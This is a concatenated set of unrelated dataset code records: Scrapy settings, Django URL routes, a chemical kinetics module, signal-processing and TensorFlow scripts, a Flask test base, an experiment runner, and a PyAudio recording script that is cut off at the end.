300,\n}\n# # mongo 配置选项\n# MONGO_URI = 'mongodb://localhost:27017/'\n# MONGO_DATABASE = 'lawdoc_db'\n\n# Mysql Database settings\nDB_HOST = 'localhost'\nDB_PORT = 3306\nDB_USER = 'root'\nDB_PASSWD = ''\nDB_DB = 'openlaw'\n\n# Enable and configure the AutoThrottle extension (disabled by default)\n# See http://doc.scrapy.org/en/latest/topics/autothrottle.html\n# NOTE: AutoThrottle will honour the standard settings for concurrency and delay\n# AUTOTHROTTLE_ENABLED=True\n# The initial download delay\n# AUTOTHROTTLE_START_DELAY=5\n# The maximum download delay to be set in case of high latencies\n# AUTOTHROTTLE_MAX_DELAY=60\n# Enable showing throttling stats for every response received:\n# AUTOTHROTTLE_DEBUG=False\n\n# Enable and configure HTTP caching (disabled by default)\n# See http://scrapy.readthedocs.org/en/latest/topics/downloader-middleware.html#httpcache-middleware-settings\n# HTTPCACHE_ENABLED=True\n# HTTPCACHE_EXPIRATION_SECS=0\n# HTTPCACHE_DIR='httpcache'\n# HTTPCACHE_IGNORE_HTTP_CODES=[]\n# HTTPCACHE_STORAGE='scrapy.extensions.httpcache.FilesystemCacheStorage'\n","sub_path":"openlaw/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"383075133","text":"from django.conf import settings\nfrom django.conf.urls import url, include\nfrom django.conf.urls.static import static\nfrom django.contrib import admin\nfrom .views import (\n NoteListApiView,\n NoteDetailApiView,\n NoteUpdateApiView,\n NoteDeleteApiView,\n NoteCreateApiView\n)\n\nurlpatterns = [\n url(r'^$', NoteListApiView.as_view(), name='list'),\n url(r'create/$', NoteCreateApiView.as_view(), name='create'),\n url(r'^(?P[-_\\w]+)/$', NoteDetailApiView.as_view(), name='detail'),\n url(r'^(?P[-_\\w]+)/update/$', NoteUpdateApiView.as_view(), name='update'),\n url(r'^(?P[-_\\w]+)/delete/$', NoteDeleteApiView.as_view(), name='delete'),\n]","sub_path":"notes/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"514570160","text":"s1_condition = ['start',\n ['goal', 'IS', 'count-from'],\n ['start', '=', 'sxx']]\ns1_result = [['goal', 'count', 'num1'],\n ['retrieval', 'nmsl', 'counter-order'],\n ['first', '=', 'num1']]\n\ns2_condition = ['first', 64.0,\n ['goal', 'ahh', 'count-from'],\n ['start', '=', 'num1']]\ns2_result = [['goal', 'count', 'num1'],\n ['retrieval', 'IS', 'counter-order'],\n ['haiyoushui', '=', 'num1']]\n\n\nclass proModeling(object):\n\n def __init__(self):\n\n self.time = [] # 此处为视频时间,当为负数时,表示是手工建模\n self.name = [] # 函数名\n self.condition = []\n self.result = []\n self.model = []\n self.len = 0\n\n def getname(self, condition):\n return condition[0]\n\n def isVideo(self, condition):\n if isinstance(condition[1], float):\n return True\n else:\n return False\n\n def makeModel(self):\n m = ''\n # 开头\n m += '(P ' + self.name[self.len-1] + '\\n'\n # 条件\n m += self.addModel(self.condition[self.len-1])\n # self.addModel(self.condition)\n m += '==>\\n'\n # 结果\n m += self.addModel(self.result[self.len-1])\n m += ')\\n'\n return m\n\n def addModel(self, s):\n temp = ''\n for con in s:\n # print(con[0])\n if (con[0] == 'goal') or (con[0] == 'retrieval'):\n # temp += '\\t=' + con[0] + '>\\n' # 此处的 = 或 - 或 + 不知道在什么情况下是什么\n temp += ' =' + con[0] + '>\\n'\n if con[1] == 'IS':\n # temp += '\\t\\tISA\\t\\t\\t' + con[2] + '\\n'\n temp += ' ISA ' + con[2] + '\\n'\n else:\n # temp += '\\t\\t' + con[1] + '\\t\\t=' + con[2] + '\\n'\n temp += ' ' + con[1] + ' =' + con[2] + '\\n'\n else:\n if con[1] == '=':\n # temp += '\\t\\t' + con[0] + '\\t\\t' + con[1] + con[2] + '\\n'\n temp += ' ' + con[0] + ' ' + con[1] + con[2] + '\\n'\n else:\n pass\n return temp\n\n def moremodel(self, condition, result):\n\n self.len += 1\n\n if self.isVideo(condition):\n self.time.append(condition[1])\n self.condition.append(condition[2:])\n else:\n self.time.append(-1)\n self.condition.append(condition[1:])\n\n self.name.append(self.getname(condition))\n\n self.result.append(result)\n r = self.makeModel()\n self.model.append(r)\n\n\ndef showall(pm):\n for i in range(pm.len):\n print('视频时间:' + str(pm.time[i]))\n print('函数名字:' + pm.name[i])\n print('模型函数:\\n' + pm.model[i])\n\n print('总共有' + str(pm.len) + '个模型函数')\n\n\nif __name__ == '__main__':\n p = proModeling()\n p.moremodel(s1_condition, s1_result)\n # p.moremodel(s2_condition, s2_result)\n showall(p)\n","sub_path":"HCI/procedure/CProcedure.py","file_name":"CProcedure.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"147210624","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.7-x86_64/egg/chem_G5/chemkin.py\n# Compiled at: 2017-11-19 20:04:51\n# Size of source mod 2**32: 12076 bytes\nimport numbers, xml.etree.ElementTree as ET, numpy as np, sqlite3, doctest\nfrom chem_G5 import reaction_coeffs\n\nclass ElementaryRxn:\n __doc__ = '\\n member attributes:\\n r_stoich: numeric list of lists or array\\n column length must equal length of x\\n number of columns indicates number of reactions\\n stoichiometric coefficients of reactants\\n p_stoich: numeric list of lists or array\\n must be equal in shape to stoich_r\\n stoichiometric coefficients of products\\n k: a numeric value (or values, for multiple reactions)\\n reaction rate coefficient\\n '\n\n def __init__(self, filename):\n self.parse(filename)\n\n def parse(self, filename):\n root = ET.parse(filename).getroot()\n specieslist = root.find('phase').find('speciesArray').text.strip().split(' ')\n r_stoich = []\n p_stoich = []\n self.reversible = []\n self.rxnparams = []\n for reaction in root.find('reactionData').findall('reaction'):\n if reaction.attrib['reversible'] == 'yes':\n self.reversible.append(True)\n else:\n self.reversible.append(False)\n r_coeffs = [\n 0] * len(specieslist)\n p_coeffs = [0] * len(specieslist)\n r_list = reaction.find('reactants').text.strip().split(' ')\n p_list = reaction.find('products').text.strip().split(' ')\n for r in r_list:\n specie_coeff = r.split(':')\n r_coeffs[specieslist.index(specie_coeff[0])] = float(specie_coeff[1])\n\n for p in p_list:\n specie_coeff = p.split(':')\n p_coeffs[specieslist.index(specie_coeff[0])] = float(specie_coeff[1])\n\n r_stoich.append(r_coeffs)\n p_stoich.append(p_coeffs)\n ratecoeff = reaction.find('rateCoeff')\n if ratecoeff.find('Arrhenius') is None:\n self.rxnparams.append([reaction_coeffs.const(float(ratecoeff.find('k').text))])\n else:\n if ratecoeff.find('Arrhenius').find('A') is None:\n raise ValueError('A is not found')\n if ratecoeff.find('Arrhenius').find('E') is None:\n raise ValueError('E is not found')\n A = float(ratecoeff.find('Arrhenius').find('A').text)\n E = float(ratecoeff.find('Arrhenius').find('E').text)\n b = ratecoeff.find('Arrhenius').find('b')\n self.rxnparams.append([A, E, b])\n\n self.r_stoich = np.array(r_stoich).transpose()\n self.p_stoich = np.array(p_stoich).transpose()\n self.specieslist = specieslist\n\n def prog_rate(self, x, T):\n \"\"\"\n Returns the progress rate for N species going through M\n irreversible, elementary reactions.\n\n INPUTS\n ======\n x: numeric list\n concentrations of A, B, C\n\n RETURNS\n =======\n omega: the progress rate for the reaction, numeric\n\n EXAMPLES\n =======\n >>> ElementaryRxn('chem_G5/test/doctest1.xml').prog_rate([1, 2, 4], 1200)\n [20.0]\n\n >>> ElementaryRxn('chem_G5/test/doctest2.xml').prog_rate([1,2,1], 1200)\n [40.0, 10.0]\n \"\"\"\n k = []\n for elt in self.rxnparams:\n if len(elt) == 1:\n k.append(elt[0])\n else:\n if elt[2] is None:\n k.append(reaction_coeffs.arrh(elt[0], elt[1], T))\n else:\n k.append(reaction_coeffs.mod_arrh(elt[0], float(elt[2].text), elt[1], T))\n\n x = np.array(x)\n stoich = np.array(self.r_stoich)\n k = np.array(k)\n if not np.issubdtype(x.dtype, np.number):\n raise AssertionError('Species concentrations must be numeric')\n else:\n if not np.issubdtype(stoich.dtype, np.number):\n raise AssertionError('Stoichiometric coefficients must be numeric')\n elif not len(x) == stoich.shape[0]:\n raise AssertionError('All species must have stoichiometric coefficients')\n assert np.issubdtype(k.dtype, np.number), 'Reaction rate coefficients must be numeric'\n return list(k * np.product((x ** stoich.T), axis=1))\n\n def rxn_rate(self, x, T):\n \"\"\"\n Returns the reaction rate, f, for each specie (listed in x)\n through one or multiple (number of columns in stoich_r)\n elementary, irreversible reactions.\n\n f = sum(omega_j*nu_ij) for i species in j reactions.\n\n INPUTS\n ======\n x: numeric list or array\n concentrations of reactants\n\n RETURNS\n =======\n f: the reaction rate for each specie, numeric\n\n EXAMPLES\n =======\n >>> ElementaryRxn('chem_G5/test/doctest3.xml').rxn_rate([1,2,1], 1200)\n array([-30., -60., 20.])\n\n \"\"\"\n p_stoich = np.array(self.p_stoich)\n r_stoich = np.array(self.r_stoich)\n omega = self.prog_rate(x, T)\n if np.shape(p_stoich)[1] == 1:\n return np.sum(omega * (p_stoich - r_stoich))\n else:\n return np.sum((omega * (p_stoich - r_stoich)), axis=1)\n\n def __str__(self):\n return 'Stoichiometric coefficients of reactants: {}\\n Stoichiometric coefficients of reactants: {}\\n Reaction rate coefficient: {}'.format(self.r_stoich, self.p_stoich, self.k)\n\n\nclass ReversibleRxn(ElementaryRxn):\n\n def __init__(self, filename):\n self.parse(filename)\n self.s = self.specieslist\n self.r = self.r_stoich\n self.p = self.p_stoich\n self.nuij = self.p - self.r\n self.p0 = 100000.0\n self.R = 8.3144598\n self.gamma = np.sum((self.nuij), axis=0)\n\n def read_SQL(self, T):\n\n def choose_t_range(T):\n t_range = []\n for species in self.s:\n v = cursor.execute('SELECT THIGH\\n from LOW WHERE species_name= ?', (species,)).fetchall()\n if v[0][0] > T:\n t_range.append('high')\n else:\n t_range.append('low')\n\n return t_range\n\n def get_coeffs(species_name, temp_range):\n if temp_range == 'low':\n v = cursor.execute('SELECT COEFF_1,COEFF_2,COEFF_3,COEFF_4,COEFF_5,COEFF_6,COEFF_7\\n from LOW WHERE species_name= ?', (species_name,)).fetchall()\n else:\n if temp_range == 'high':\n v = cursor.execute('SELECT COEFF_1,COEFF_2,COEFF_3,COEFF_4,COEFF_5,COEFF_6,COEFF_7\\n from HIGH WHERE species_name= ?', (species_name,)).fetchall()\n coeffs = v[0]\n return coeffs\n\n assert isinstance(T, numbers.Number), 'Please enter a numeric temperature.'\n db = sqlite3.connect('chem_G5/data/NASA.sqlite')\n cursor = db.cursor()\n coefs = []\n t_range = choose_t_range(T)\n s_t = zip(self.s, t_range)\n for species, tmp in s_t:\n coef = get_coeffs(species, tmp)\n coefs.append(coef)\n\n self.nasa = np.array(coefs)\n\n def Cp_over_R(self, T):\n a = self.nasa\n Cp_R = a[:, 0] + a[:, 1] * T + a[:, 2] * T ** 2.0 + a[:, 3] * T ** 3.0 + a[:, 4] * T ** 4.0\n return Cp_R\n\n def H_over_RT(self, T):\n a = self.nasa\n H_RT = a[:, 0] + a[:, 1] * T / 2.0 + a[:, 2] * T ** 2.0 / 3.0 + a[:, 3] * T ** 3.0 / 4.0 + a[:, 4] * T ** 4.0 / 5.0 + a[:, 5] / T\n return H_RT\n\n def S_over_R(self, T):\n a = self.nasa\n S_R = a[:, 0] * np.log(T) + a[:, 1] * T + a[:, 2] * T ** 2.0 / 2.0 + a[:, 3] * T ** 3.0 / 3.0 + a[:, 4] * T ** 4.0 / 4.0 + a[:, 6]\n return S_R\n\n def backward_coeffs(self, T):\n delta_H_over_RT = np.dot(self.nuij.T, self.H_over_RT(T))\n delta_S_over_R = np.dot(self.nuij.T, self.S_over_R(T))\n delta_G_over_RT = delta_S_over_R - delta_H_over_RT\n fact = self.p0 / self.R / T\n print('prefactor in Ke: ', fact)\n ke = fact ** self.gamma * np.exp(delta_G_over_RT)\n print('ke: ', ke)\n kf = []\n for elt in self.rxnparams:\n if len(elt) == 1:\n kf.append(elt)\n else:\n if elt[2] is None:\n kf.append(reaction_coeffs.arrh(elt[0], elt[1], T))\n else:\n kf.append(reaction_coeffs.mod_arrh(elt[0], float(elt[2].text), elt[1], T))\n\n self.kf = np.array(kf)\n self.kb = np.copy(self.kf)\n for i in range(len(self.kb)):\n if self.reversible[i]:\n self.kb[i] = self.kf[i] / ke[i]\n\n print('kb: ', self.kb)\n\n def prog_rate(self, x, T):\n self.read_SQL(T)\n self.backward_coeffs(T)\n x = np.array(x)\n omega = self.kf * np.product(x ** self.r.T) - self.kb * np.product(x ** self.p.T)\n return omega\n\n def rxn_rate(self, x, T):\n omega = self.prog_rate(x, T)\n return np.sum((omega * self.nuij), axis=1)\n\n def reversible_rxn_rate(x):\n \"\"\"\n Returns the reaction rate, f, for each specie (listed in x)\n through one or multiple (number of columns in stoich_r)\n reversible reactions.\n\n f = sum(omega_j*nu_ij) for i species in j reactions.\n\n INPUTS\n ======\n x: numeric list or array\n concentrations of reactants\n\n RETURNS\n =======\n f: the reaction rate for each specie, numeric\n \"\"\"\n raise NotImplementedError\n\n\nclass NonelRxn(ElementaryRxn):\n\n def nonel_rxn_rate(x):\n \"\"\"\n Returns the reaction rate, f, for each specie (listed in x)\n through one or multiple (number of columns in stoich_r)\n nonelementary reactions.\n\n f = sum(omega_j*nu_ij) for i species in j reactions.\n\n INPUTS\n ======\n x: numeric list or array\n concentrations of reactants\n\n RETURNS\n =======\n f: the reaction rate for each specie, numeric\n \"\"\"\n raise NotImplementedError","sub_path":"pycfiles/chem_G5-1.0-py3.6/chemkin.cpython-36.py","file_name":"chemkin.cpython-36.py","file_ext":"py","file_size_in_byte":10521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"521688489","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.signal import butter, lfilter, freqz, detrend\nfrom scipy import fftpack\n\n\ndef main():\n meas = \"Julian75\"\n df = np.loadtxt('Flugmessungen/' + meas + '.dat', skiprows=2)\n null_df = np.loadtxt('Flugmessungen/Nullmessung63.dat', skiprows = 2)\n\n # define Frequencies\n f_s = 1024 # sampling rate\n\n N = len(df)\n nullmat = np.tile(null_df, (N, 1))\n time = np.linspace(1, 10, 10 * f_s, endpoint=False)\n\n dms01 = df[:, 13]\n dms02 = df[:, 14]\n dms03 = df[:, 15]\n dms04 = df[:, 16]\n\n # Plotting Raw Data\n plt.figure(figsize=(6, 5))\n plt.plot(time, dms01, linewidth=1, label = \"DMS 01\")\n plt.plot(time, dms02, linewidth=1, label = \"DMS 23\")\n plt.plot(time, dms03, linewidth=1, label = \"DMS 45\")\n plt.plot(time, dms04, linewidth=1, label = \"DMS 67\")\n plt.xlabel('Time[s]')\n plt.ylabel('amplitude')\n plt.title = \"Raw Data\"\n\n # Offset from Nullmessung\n dms01_bias = nullmat[:, 13]\n dms02_bias = nullmat[:, 14]\n dms03_bias = nullmat[:, 15]\n dms04_bias = nullmat[:, 16]\n\n # Detrend and subtracting Offset\n dms01 = detrend(dms01-dms01_bias)\n dms02 = detrend(dms02-dms02_bias)\n dms03 = detrend(dms03-dms03_bias)\n dms04 = detrend(dms04-dms04_bias)\n\n plt.figure(figsize=(6, 5))\n plt.plot(time, dms01)\n plt.plot(time, dms02)\n plt.plot(time, dms03)\n plt.plot(time, dms04)\n plt.xlabel('Time[s]')\n plt.ylabel('amplitude')\n\n # FFT\n dms01_fft = fftpack.fft(dms01)\n dms01_power = np.abs(dms01_fft)\n freqs = fftpack.fftfreq(dms01.size, d=f_s)\n\n dms02_fft = fftpack.fft(dms02)\n dms02_power = np.abs(dms02_fft)\n\n dms03_fft = fftpack.fft(dms03)\n dms03_power = np.abs(dms03_fft)\n\n dms04_fft = fftpack.fft(dms04)\n dms04_power = np.abs(dms04_fft)\n\n plt.figure(figsize=(6, 5))\n plt.plot(freqs, dms01_power)\n plt.plot(freqs, dms02_power)\n plt.plot(freqs, dms03_power)\n plt.plot(freqs, dms04_power)\n plt.xlabel('Frequency [Hz]')\n plt.ylabel('Spectral Magnitude')\n # plt.title('Spectral Analysis')\n\n # stemming shows high magnitude between -0.00015 Hz and 0.00015 Hz\n # applying bandpass\n cut = .0000015\n band_freq_fft_01 = dms01_fft.copy()\n band_freq_fft_01[freqs > cut] = 0\n band_freq_fft_01[freqs < -cut] = 0\n\n band_freq_fft_02 = dms02_fft.copy()\n band_freq_fft_02[freqs > cut] = 0\n band_freq_fft_02[freqs < -cut] = 0\n\n band_freq_fft_03 = dms03_fft.copy()\n band_freq_fft_03[freqs > cut] = 0\n band_freq_fft_03[freqs < -cut] = 0\n\n band_freq_fft_04 = dms04_fft.copy()\n band_freq_fft_04[freqs > cut] = 0\n band_freq_fft_04[freqs < -cut] = 0\n\n filtered_dms_01 = fftpack.ifft(band_freq_fft_01)\n filtered_dms_02 = fftpack.ifft(band_freq_fft_02)\n filtered_dms_03 = fftpack.ifft(band_freq_fft_03)\n filtered_dms_04 = fftpack.ifft(band_freq_fft_04)\n\n plt.figure(figsize=(6, 5))\n # plt.plot(time, dms01, label='Original signal')\n plt.plot(time, filtered_dms_01, linewidth=2, label='Filtered DMS 01')\n plt.plot(time, filtered_dms_02, linewidth=2, label='Filtered DMS 23')\n plt.plot(time, filtered_dms_03, linewidth=2, label='Filtered DMS 45')\n plt.plot(time, filtered_dms_04, linewidth=2, label='Filtered DMS 67')\n plt.xlabel('Time [s]')\n plt.ylabel('Amplitude')\n # plt.title(meas + \", Bandpass Cut @ +-\" + str(cut))\n\n plt.legend(loc='best')\n plt.show()\n\n\nmain()","sub_path":"auswertung.py","file_name":"auswertung.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"561748405","text":"\"\"\"\n Manejo de urls para la aplicación\n administrativo\n\"\"\"\nfrom django.urls import path\n# se importa las vistas de la aplicación\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('parroquia/', views.obtener_parroquia, \n name='obtener_parroquia'),\n path('crear/parroquia', views.crear_parroquia, \n name='crear_parroquia'),\n path('editar_parroquia/', views.editar_parroquia, \n name='editar_parroquia'),\n # numeros telefonicos\n path('crear/barrio', views.crear_barrio, \n name='crear_barrio'),\n path('editar/barrio/', views.editar_barrio, \n name='editar_barrio'),\n ]","sub_path":"prroyectociudad/ordenamiento/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"129907040","text":"\"\"\"Test base for call_forward_flask tests.\"\"\"\nfrom call_forward_flask.models import (\n Senator,\n State,\n Zipcode,\n)\n\nfrom xmlunittest import XmlTestCase\n\n\nclass BaseTest(XmlTestCase):\n \"\"\"Test base case. Includes setup, teardown, and db setup/teardown.\"\"\"\n\n def setUp(self):\n \"\"\"Test setup.\"\"\"\n from call_forward_flask import app, db\n self.app = app\n self.app.config['WTF_CSRF_ENABLED'] = False\n self.db = db\n self.client = self.app.test_client()\n self.seed()\n\n def tearDown(self):\n \"\"\"Test teardown.\"\"\"\n self.delete_senators()\n self.delete_states()\n self.db.session.commit()\n\n def delete_states(self):\n \"\"\"Remove states at the end of test run.\"\"\"\n State.query.delete()\n\n def delete_senators(self):\n \"\"\"Remove senators at the end of test run.\"\"\"\n Senator.query.delete()\n\n def seed(self):\n \"\"\"Seed test db with small dataset for testing.\"\"\"\n self.senator1 = Senator(\n name='Kat Kent',\n phone_number='+12174412652 '\n )\n self.db.save(self.senator1)\n self.senator2 = Senator(\n name='Foo Bar',\n phone_number='+19523334441 '\n )\n self.db.save(self.senator2)\n\n self.state = State(name='IL')\n self.state.senators = ([self.senator1, self.senator2])\n self.db.save(self.state)\n\n self.test_zip = Zipcode(zipcode='60616', state='IL')\n self.db.save(self.test_zip)\n","sub_path":"tests/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":1509,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"174656109","text":"# -*- coding:utf-8 -*-\nimport tensorflow as tf\nimport utils\nimport numpy as np\nfrom sklearn.datasets import load_digits\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import OneHotEncoder\ndigits = load_digits()\nX_data = digits.data.astype(np.float32)\nY_data = digits.target.astype(np.float32).reshape(-1,1)\nprint(X_data.shape)\n# print(Y_data.shape)\n#\nscaler = MinMaxScaler()\n# # fit_transform 找到规则,transform直接应用规则,应该保证训练集和测试集的规则一样\nX_data = scaler.fit_transform(X_data)\nprint(X_data.shape)\n# csr_matrix((data, indices, indptr), shape=(3, 3)).toarray() data 表示 元数据\n# indices 表示 各个数据在各行的下标,各个数据在哪一行通过indptr参数得到, indptr 表示每行数据的个数\nY = OneHotEncoder().fit_transform(Y_data).todense()\n# print(Y.shape)\n\nX = X_data.reshape(-1,8,8,1)\nbatch_size = 8 # 使用MBGD算法,设定batch_size为8\n\n\ndef generate_batch(X, Y, n_examples, batch_size_g):\n for batch_i in range(n_examples // batch_size_g):\n start = batch_i*batch_size_g\n end = start + batch_size_g\n batch_xs = X[start:end]\n batch_ys = Y[start:end]\n yield batch_xs, batch_ys # 生成每一个batch\n\n\ntf.reset_default_graph()\ntf_X = tf.placeholder(dtype=tf.float32,shape=[None,8,8,1])\ntf_Y = tf.placeholder(dtype=tf.float32,shape=[None,10])\n\n# 1\nconv_filter_w1 = tf.Variable(tf.random_normal(shape=[3,3,1,10]))\nconv_filter_b1 = tf.Variable(tf.random_normal(shape=[10]))\n\nrelu_feature_maps1 = tf.nn.relu(\\\n tf.nn.conv2d(input=tf_X,filter=conv_filter_w1,strides=[1,1,1,1],padding='SAME')+conv_filter_b1)\nmax_pool1 = tf.nn.max_pool(value=relu_feature_maps1,ksize=[1,3,3,1],strides=[1,2,2,1],padding='SAME')\n\n# 2\nconv_filter_w2 = tf.Variable(tf.random_normal(shape=[3,3,10,5]))\nconv_filter_b2 = tf.Variable(tf.random_normal(shape=[5]))\nconv_out2 = tf.nn.relu(tf.nn.conv2d(input=max_pool1,filter=conv_filter_w2,strides=[1,2,2,1],padding='SAME')+conv_filter_b2)\nbatch_mean, batch_variance = tf.nn.moments(x=conv_out2, axes=[0,1,2], keep_dims=True)\nshift = tf.Variable(tf.zeros([5]))\nscale = tf.Variable(tf.ones([5]))\nepsilon = 1e-3\nBN_out = tf.nn.batch_normalization(x=conv_out2,mean=batch_mean,variance=batch_variance,offset=shift,scale=scale,variance_epsilon=epsilon)\nrelu_BN_maps2 = tf.nn.relu(BN_out)\nmax_pool2 = tf.nn.max_pool(value=relu_BN_maps2,ksize=[1,3,3,1],strides=[1,1,1,1],padding='SAME')\n\nmax_pool2_flat = tf.reshape(max_pool2,[-1,2*2*5])\n\n# fc\nfc_w1 = tf.Variable(tf.random_normal(shape=[2*2*5,50]))\nfc_b1 = tf.Variable(tf.random_normal(shape=[50]))\nfc_out1 = tf.nn.relu(tf.matmul(a=max_pool2_flat,b=fc_w1)+fc_b1)\n# output\n# 输出层\nout_w1 = tf.Variable(tf.random_normal([50,10]))\nout_b1 = tf.Variable(tf.random_normal([10]))\npred = tf.nn.softmax(tf.matmul(fc_out1,out_w1)+out_b1)\n# print (pred.shape())\n# 迭代\nloss = -tf.reduce_mean(tf_Y*tf.log(tf.clip_by_value(pred,1e-11,1.0)))\n# loss = -tf.reduce_sum(tf_Y*tf.log(tf.clip_by_value(pred,1e-10,1)))\ntrain_step = tf.train.AdamOptimizer(1e-3).minimize(loss)\n# 精度\ny_predict = tf.argmax(pred,1)\nbool_pred = tf.equal(y_predict,tf.argmax(tf_Y,1))\naccuracy = tf.reduce_mean(tf.cast(bool_pred,tf.float32))\nwith tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n for epoch in range(200):\n for batch_x,batch_y in generate_batch(X=X,Y=Y,n_examples=Y.shape[0],batch_size_g=batch_size):\n sess.run(train_step,feed_dict={tf_X:batch_x,tf_Y:batch_y})\n if epoch%10 ==0:\n res = sess.run(accuracy, feed_dict={tf_X: X, tf_Y: Y})\n print('epoch has finished : %d of 100,accuracy:%f'%(epoch,res))\n\n res_ypred = y_predict.eval(feed_dict={tf_X: X, tf_Y: Y}).flatten() # 只能预测一批样本,不能预测一个样本\n print(res_ypred)\n# with tf.device('\\cpu:0'):\n# sess = tf.Session()\n# sess.run(tf.global_variables_initializer())\n# # 输入图片的尺寸不做规范化,所以shape参数不写\n# batch = tf.placeholder(dtype=float)\n# gt_density_map = tf.placeholder(dtype=float)\n","sub_path":"digits_study.py","file_name":"digits_study.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"612511176","text":"import logging\nimport os\nimport subprocess\nimport time\n\nimport logging\nt = str(time.strftime(\"%Y-%m-%d_%H-%M-%S\", time.localtime()))\n\nlogging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',\n datefmt='%m/%d/%Y %H:%M:%S',\n filename=t+'.log',\n level=logging.INFO)\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\n# set a format which is simpler for console use\n# 设置格式\nformatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\n# tell the handler to use this format\n# 告诉handler使用这个格式\nconsole.setFormatter(formatter)\n# add the handler to the root logger\n# 为root logger添加handler\nlogging.getLogger('').addHandler(console)\n\nlogging.info('begin')\n\n\n\n\ndef run_cmd(command: str):\n logging.info(command)\n subprocess.check_call(command, shell=True)\n\n\ndef wait_for_file(file: str, minute: int = 1):\n if not os.path.exists(file):\n logging.info(f'Could not find file {file}. Waiting...')\n minute_cnt = 0\n while not os.path.exists(file):\n print(f'The {minute_cnt}th minute...')\n time.sleep(60)\n minute_cnt += 1\n print(f'Have found file. Wait for writing for {minute} extra minutes...')\n time.sleep(60 * minute)\n logging.info(f'Find file {file} after waiting for {minute_cnt + minute} minutes')\n\n\n# model\n# bert_base_model = \"~/bert-base-uncased.tar.gz\"\n# bert_base_vocab = \"~/bert-base-uncased-vocab.txt\"\n# bert_large_model = \"../BERT/bert-large-uncased.tar.gz\"\n# bert_large_vocab = \"../BERT/bert-large-uncased-vocab.txt\"\n\nbert_base_model = \"/users8/hzyang/proj/c3-master/pretrained/bert-base-uncased/bert-base-uncased.tar.gz\"\nbert_base_vocab = \"/users8/hzyang/proj/c3-master/pretrained/bert-base-uncased//bert-base-uncased-vocab.txt\"\n\n# train_file = 'data/RACE/train-high-ini.json'\n# dev_file = 'data/RACE/dev-high.json'\n# test_file = 'data/RACE/test-high.json'\n\ntrain_file = '/users8/hzyang/proj/c3-master/Self-Training-MRC-master/data/RACE/train-high-ini.json'\ndev_file = '/users8/hzyang/proj/c3-master/Self-Training-MRC-master/data/RACE/dev-high.json'\ntest_file = '/users8/hzyang/proj/c3-master/Self-Training-MRC-master/data/RACE/test-high.json'\n\n\n\ntask_name = 'race'\nreader_name = 'multiple-race'\nbert_name = 'pool-race'\nlearning_rate = 4e-5\nnum_train_epochs = 3\n\nmetric = 'accuracy'\n\noutput_dir = f'/users8/hzyang/proj/c3-master/Self-Training-MRC-master/experiments/race/topk-evidence/high/pool/v1.0'\n\ncmd = f'/users8/hzyang/miniconda3/envs/python36/bin/python /users8/hzyang/proj/c3-master/Self-Training-MRC-master/main_multi_choice_top_k_evidence.py --bert_model bert-base-uncased ' \\\n f'--vocab_file {bert_base_vocab} --model_file {bert_base_model} --output_dir {output_dir} --predict_dir {output_dir} ' \\\n f'--train_file {train_file} --predict_file {dev_file} --test_file {test_file} ' \\\n f'--max_seq_length 380 --train_batch_size 20 --predict_batch_size 5 ' \\\n f'--learning_rate {learning_rate} --num_train_epochs {num_train_epochs} ' \\\n f' --gradient_accumulation_steps 5 --per_eval_step 3000 ' \\\n f'--bert_name {bert_name} --task_name {task_name} --reader_name {reader_name} ' \\\n f'--metric {metric} '\n\ncmd += '--do_predict '\n\nrun_cmd(cmd)\n","sub_path":"Self-Training-MRC-master/scripts/race-f-multiple-evidence/topk_evidence/high/scratch/scratch1.0.py","file_name":"scratch1.0.py","file_ext":"py","file_size_in_byte":3288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"516799696","text":"#encoding:utf-8\n\nimport pyaudio\nimport wave\n\nimport os\n\nimport tensorflow as tf\nimport librosa\n\nimport sys\n\nimport numpy as np\nfrom pyaudio import PyAudio,paInt16\nfrom datetime import datetime\nimport wave\nimport shutil\nCHUNK = 8192\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 44100\nRECORD_SECONDS = 3.3\nWAVE_OUTPUT_FILENAME = \"14.wav\"\np = pyaudio.PyAudio()\nstream = p.open(format=FORMAT,\n channels=CHANNELS,\n rate=RATE,\n input=True,\n frames_per_buffer=CHUNK)\nprint(\"* recording\")\nframes = []\nfor i in range(0, int(RATE / CHUNK * RECORD_SECONDS)):\n data = stream.read(CHUNK)\n frames.append(data)\nprint(\"* done recording\")\nstream.stop_stream()\nstream.close()\np.terminate()\nwf = wave.open(WAVE_OUTPUT_FILENAME, 